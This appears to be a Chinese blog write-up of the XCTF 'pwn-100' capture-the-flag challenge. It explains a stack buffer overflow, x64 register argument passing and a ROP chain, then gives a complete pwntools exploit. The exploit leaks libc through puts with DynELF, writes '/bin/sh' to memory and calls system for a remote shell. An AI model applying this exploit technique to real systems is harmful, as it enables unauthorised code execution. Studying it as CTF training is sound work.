攻防世界 Pwn pwn-100

1.题目下载地址

点击下载

2.checksec

在这里插入图片描述

64位程序,目前还什么都看不出看来,直接拉近IDA看看

3.IDA分析

在这里插入图片描述

在这里插入图片描述

  • 整个程序由3个嵌套的程序组成

  • 我们可以看到sub_40063D是主要的程序,接受单个字符并存储到传入的参数a1所指向的空间之内

  • 同时分析sub_40068E发现sub_40063D中a1就是sub_40068E中的v1

  • 并且v1的栈空间大小就只有0x40,而sub_40063D接受的输入量有0x200个字节,这样就存在栈溢出漏洞了。

  • 在这里插入图片描述

  • 通过分析函数列表,里面有puts这个库函数,联系pwntools中的DynELF,我们可以将libc的地址泄露出来,再来构造ROP

  • 64位程序构造ROP与32位程序不一样
    x86中,函数调用是直接将参数压栈,需要用的时候直接将参数放在栈上,调用的函数就能直接取得参数并运算。如图:
    在这里插入图片描述

调用read函数的时候,参数直接放入栈中,但是x64的程序不一样,x64的gcc优化了x86的传参方式,x64程序设立了几个寄存器李存放参数,调用函数的时候先向寄存器之中放参数,当参数的数量大于寄存器的时候,才会向栈中放参数。
在这里插入图片描述

这是本题中的sub_40068E函数,可以看到其参数是放在rdi和esi两个寄存器之中的,这就是两种结构的不一样,如果要在x64的程序之中构造rop,我们就必须向寄存器存放参数。
在这里插入图片描述

可看出只要rbx和rbp不相同就会跳转回去循环,这是我们不允许的,我们需要控制程序流ret到我们需要的地方去,故预先设置rbx=0,rbp=1即可让程序继续执行我们构造的ROP链。故可以构造payload1=‘a’*0x48+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) 泄露puts的地址,从而确定libc和libcbase
在这里插入图片描述
经过查找发现不存在/bin/sh,需要自己写入,gdb中vmmap发现0x601000为基址的地址可写,到ida查找,选择0x601040进行写入
在这里插入图片描述

4.exp

from pwn import *
# context.log_level = 'debug'
io = remote('111.198.29.45',57902)
# io = process("./pwn100")
elf = ELF("./pwn100")

rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
  payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
  payload = payload.ljust(200, "a")
  io.send(payload)
  io.recvuntil("bye~\n")
  up = ""
  content = ""
  count = 0
  while True:
    c = io.recv(numb=1, timeout=0.5)
    count += 1
    if up == '\n' and c == "":
        content = content[:-1] + '\x00'
        break
    else:
        content += c
        up = c
  content = content[:4]
  log.info("%#x => %s" % (addr, (content or '').encode('hex')))
  return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload  = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56    #rop2结束又跳转到rop1,需要再填充7 * 8字节到返回地址
payload += p64(start_addr)
payload  = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)

io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值